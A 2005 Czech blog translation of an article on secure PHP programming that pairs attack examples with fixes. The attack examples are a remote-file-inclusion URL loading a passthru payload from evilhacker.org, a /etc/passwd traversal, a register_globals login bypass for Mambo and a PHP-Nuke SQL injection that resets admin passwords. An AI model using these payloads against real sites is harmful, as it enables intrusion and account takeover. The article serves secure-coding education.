PHP - Bezpečné programování

Vložil/a clusk [1], 26 Listopad, 2005 - 12:05

- Programming [2]
- Security [3]

Po dlouhé době vám přináším překlad jednoho z mnoha článků o bezpečném programování v PHP. Seznámí vás jak s metodami zabezpezpečení, tak s triky pro zneužití nechráněné aplikace...

Úvod

Cílem tohoto dokumentu není jen poukázání na běžné hrozby a problémy, které při programování bezpečných aplikací mohou nastat, ale ukázat i praktické metody zneužití. U PHP je pozoruhodné, že i lidé s malými nebo žádnými zkušenostmi v programováni dokáží vytvořit bezpečnostní chybu velmi rychle. Problémem je na jedné straně to, že spousty programátorů si nejsou vědomi, co se vlastně děje "za oponou". Bezpečnost a pohodlí často nejdou ruku v ruce - ale mohou...

Hrozby

Soubory

PHP má pár přizpůsobitelných funkcí pro práci se soubory. Funkce include(), require() a fopen() povolují uvést cestu k souboru jak lokálně, tak i vzdáleně - URL. Spoustu zranitelností, které jsem viděl bylo ve špatném zpracování proměnlivého (dynamicky generovaného) souboru nebo právě ve špatném ošetření cesty k souboru.

Příklad

Na stránce, o které jsem se zde nechtěl zmiňovat (protože problém nebyl stále vyřešen) byl skript, který vkládal dané HTML soubory a zobrazoval je přímo v layoutu stránky. Podívejte se na následující odkaz:

http://example.com/page.php?i=aboutus.html [4]

Proměnná $i zřejmě obsahuje název souboru, který má být vložen. Když se na URL podobné tomuto podíváte zblízka, určitě vás napadne spousta otázek:

- Myslí programátor na procházení adresářů pomocí lomítek - i=../../../etc/passwd?
- Ověřuje příponu .html?
- Používá pro vkládání souborů funkci fopen()?
- Přemýšlel o zakázání vkládání vzdálených souborů?

V tomto případě si můžeme na všechny otázky odpovědět záporně. Jdeme si hrát :). Je samozřejmé, ze můžeme číst veškeré soubory, ke kterým máme práva uživatele, pod kterým webový server běží - většinou httpd. Ale co je více vzrušující je fakt, že můžeme vložit HTML soubor nějak takto:

http://example.com/page.php?i=http://evilhacker.org/exec.html [5]

Soubor exec.html obsahuje tento kód:

```
<?php
    passthru ('id');
    passthru ('ls -al /etc');
    passthru ('ping -c 1 evilhaxor.org');
    passthru ('echo You have been hax0red | mail root');
?>
```

Jsem si jist, že máte nápad, jak pomocí tohoto souboru napáchat hodně špatných věcí ;).

Globální proměnné

Standardně zapisuje PHP většinu proměnných do globalního pole. Samozřejme je to velmi pohodlné. Na druhou stranu se můžete v rozsáhlých skriptech velmi rychle ztratit. Odkud proměnná pochází? Pokud není nastavena přímo, odkud může pocházet? Všechny EGPCS (Environment, GET, POST, Cookie a Server) proměnné jsou uloženy v globalním poli.

Globalní asociativní pole $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, HTTP_SERVER_VARS a $HTTP_SESSION_VARS jsou vytvářeny, pokud je nastavena direktiva track_vars. Toto nastavení vám pomůže najít proměnné pouze na tom místě, kde je očekáváte. Poznámka: Od PHP verze 4.0.3 je track_vars vždy nastaveno.

Příklad

Tato bezpečnostní vada byla nahlášena na Bugtraq od Ismael Peinado Paloma dne 27.7. 2001. Webový server používající Mambo Site Server 3.0.x, nástroj pro tvorbu portálu a správu obsahu založený na PHP a MySQL, byl napadnutelný skrze exploit využívající právě globalního pole. Kód byl pozměněn a zjednodušen.

Ve složce 'admin/' se nachází soubor index.php, který po vložení do formuláře ověřuje zadané heslo s heslem uloženým v databázi:

```
<?php
    if ($dbpass == $pass) {
        session_register("myname");
        session_register("fullname");
        session_register("userid");
        header("Location: index2.php");
    }
?>
```

Pokud heslo souhlasí, proměnné $myname, $fullname a $userid jsou zaregistrované jako session proměnné. Poté je uživatel přesměrován na soubor index2.php. Podívejme se, co se děje tam:

```
<?php
    if (!$PHPSESSID) {
        header("Location: index.php");
        exit(0);
    } else {
        session_start();
        if (!$myname) session_register("myname");
        if (!$fullname) session_register("fullname");
        if (!$userid) session_register("userid");
    }
?>
```

Pokud není ID sezení ($PHPSESSID) nastaveno, uživatel bude přesměrován zpátky na stránku s přihlášením. Pokud ID sezení existuje, skript pokračuje a ukládá proměnné sezení do globalního pole. Pěkné. Podívejme se teď, jak toho zneužít.

Uvažujme nad následujícím odkazem:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joe... [6]

GET proměnné $PHPSESSID, $myname, $fullname a $userid jsou standardně vytvořeny jako globální proměnné. Takže pokud se podíváte na strukturu if-else výše, musíte si všimnout že proměnná $PHPSESSID je nastavena a tři proměnné určené k ověření a identifikování uživatele mohou být nastaveny na cokoliv budete chtít. Databáze ani nebyla dotázána o heslo. Rychlá oprava této vady - mělo by se ověřovat $HTTP_SESSION_VARS['userid'] nebo $_SESSION['userid'] (PHP => v4.1.0) místo pouhého $userid.

SQL

Programování v PHP může být nudné bez využití SQL databáze. Avšak pokud nebudou správně ošetřeny proměnné, můžeme poskládat nebezpečný SQL požadavek.

Příklad

Následující chyba byla nalezena v produktu PHP-Nuke verze 5.x. Jedná se o kombinaci zneužití globálních proměnných a neověření správnosti proměnné, ze které se později skládá SQL dotaz.

Vývojáři PHP-Nuka se rozhodli přidat předponu "nuke" všem tabulkám v databázi, které mají co dočinění s jejich skripty. Předpona může být změněna, pokud chcete aby více PHP-Nuků používalo stejnou databázi. Standardně je v konfiguračním souboru config.php nastavena proměnná takto - $prefix = "nuke";

Pojďme se nyní podívat na několik řádek ze souboru article.php.

```
<?php
    if (!isset($mainfile)) {
        include("mainfile.php");
    }
    if (!isset($sid) && !isset($tid)) {
        exit();
    }
?>
```

A o něco níž, SQL dotaz:

```
<?php
    mysql_query("UPDATE $prefix"._stories.
        " SET counter=counter+1 where sid=$sid");
?>
```

Abychom pozměnili SQL dotaz, potřebujeme přenastavit proměnnou $prefix. Můžeme to provést například přes proměnnou GET, které nastavíme libovolnou hodnotu. Konfigurační soubor config.php je vkládán do souboru mainfile.php. Jak víme z předešlé kapitoly, můžeme nastavit proměnné $mainfile, $sid a $tid na jakoukoli hodnotu pomocí GET parametru. Soubor mainfile.php si poté bude myslet, že byl config.php vložen a proměnná $prefix byla patřičně nastavena. Právě teď se nacházíme před samotným pozměněním SQL dotazu UPDATE. Následující dotaz nastaví všem administrátorům hesla na '1';

http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.author... [7]

SQL dotaz vypadá po změně takto:

```
UPDATE nuke.nuke_authors SET pwd=1#_stories
SET counter=counter+1 WHERE sid=$sid");
```

Vše, co se nachází za #, bude bráno jako komentář a bude ignorováno.

Bezpečné programování

Příprava proměnnych

Před samotným bezpečnostním opatřením můžete určit, kterému externímu vstupu bude vůbec důvěřováno. Zda se bude jednat o GET, POST nebo třeba cookie.

Ověření uživatelských proměnných

Každá externí proměnná by měla být ověřena. V mnoha případech můžete použít přetypování. Pokud například procházíte záznamy v databázi pomocí proměnné id, která je předávána jako GET parametr, následující trik vám pomůže zabezpečit daný skript:

```
    $id = (int)$HTTP_GET_VARS['id'];
```

nebo

```
    $id = (int)$_GET['id'];           /* (PHP => v4.1.0) */
```

Teď si můžete být jisti, že je proměnná $id opravdu typu integer. Pokud se někdo pokusí proměnnou pozměnit na typ string (řetězec), bude automaticky přetypována podle pravidel na číslo. Ověřování řetězců je o trochu obtížnější. Podle mě vede jediná profesionální cesta přes regulární výrazy. Já vím, že se jim spousta z vás zkouší vyhnout - ale věřte mi ;) - jsou skvělé, pokud je jednou pochopíte. Například proměnná $i z úplně prvního příkladu může být pomocí regulárního výrazu ověřena takto:

```
<?php
    if (ereg("^[a-z]+\.html$", $i)) {
        echo "Good!";
    } else {
        die("Try hacking somebody else's site.");
    }
?>
```

Skript bude pokračovat jen v případě, že proměnná $i bude obsahovat název souboru začínající některým z malých písmen 'a' až 'z' a bude končit na .html.

Hlavní a globální proměnná pole

Jsem rád, že jsem nestihl dopsat tento článek na začátku Prosince 2001, protože mezitím stihnuli Andi a Zeev přidat velmi užitečná pole do PHP verze 4.1.0: $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV and $_SESSION. Od této doby jsou proměnné $HTTP_*_VARS zastaralé.

Udělejte si laskavost a vypněte si direktivu register_globals (nastavit na hodnotu off). Od teď nejsou vaše proměnné GET, POST, Cookie, Server, Environment a Session v globálním poli. Samozřejmě teď bude potřeba změnit programovací praktiky. Ale každopádně je dobré vědět, odkud se proměnné berou. Velmi vám to pomůže při zocelování vašich skriptů. Jednoduchy priklad vam ozrejmi rozdil:

Špatně:

```
<?php
    function session_auth_check() {
        global $auth;
        if (!$auth) {
            die("Authorization required.");
        }
    }
?>
```

Správně:

```
<?php
    function session_auth_check() {
        if (!$_SESSION['auth']) {
            die("Authorization required.");
        }
    }
?>
```

Protokolování
V produkčním prostředí je dobré mít nastavenou direktivu error_reporting na 0. Používejte funkci error_log() na zaznamenávání chyb do souboru nebo k posílání chyb e-mailem.

Pokud se opravdu zajímáte o bezpečnost, můžete si vytvořit preventivní "detekci průniků". Například si můžete ze skriptu posílat e-mail, který vás upozorní v případě, že si někdo bude hrát s parametry proměnnych GET/POST/Cookie a vaše regulární výrazy v podmínkách budou vracet hodnotu false.

Závěr

Bezpečné programování chce o něco více času, než technika "Jee, ono to funguje!". Jak ale vidíte na příkladech, nemůžete si dovolit bezpečnost ignorovat. Doufám, že jsem vám poradil, jak zlepšit vaše existující programy a změnil vaše praktiky programování do budoucna.
Veselé hackovaní!

Thomas Oertli

Na konec se chci omluvit za špatný nebo nepochopitelný překlad jednotlivých částí textu. Kdyby vám něco nedávalo smysl, nebo by jste přeložili lépe, neváhejte a napište mi do komentářů. Není to překládáno ani doslova, ani "přesně správně", ale významově to odpovídá :)

Originál naleznete na stránce http://www.zend.com/zend/art/art-oertli.php [8].
(Poznámka: v originále je malinká chybička ve třetím kódu od konce - $id místo $i)

Velmi podobný článek s dalšími (rozšiřujícími) informacemi naleznete zde:
http://www.linuxjournal.com/article/6061 [9]

Již před nějakou dobou zde napsal pogik články týkající se bezpečnosti PHP a databází:
http://security-portal.cz/clanky/script-injection-php-remote-exploit.html [10]
http://security-portal.cz/clanky/sql-injection.html [11]

A nakonec musím odkázat také na perfektní český weblog http://php.vrana.cz [12]

URL článku:
https://security-portal.cz/clanky/php-bezpe%C4%8Dn%C3%A9-programov%C3%A1n%C3%AD

Odkazy:
[1] https://security-portal.cz/users/clusk
[2] https://security-portal.cz/category/tagy/programming
[3] https://security-portal.cz/category/tagy/security
[4] http://example.com/page.php?i=aboutus.html
[5] http://example.com/page.php?i=http://evilhacker.org/exec.html
[6] http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname=joey&userid=admin
[7] http://example.com/article.php?mainfile=1&sid=1&tid=1&prefix=nuke.authors%20set%20pwd=1%23
[8] http://www.zend.com/zend/art/art-oertli.php
[9] http://www.linuxjournal.com/article/6061
[10] http://security-portal.cz/clanky/script-injection-php-remote-exploit.html
[11] http://security-portal.cz/clanky/sql-injection.html
[12] http://php.vrana.cz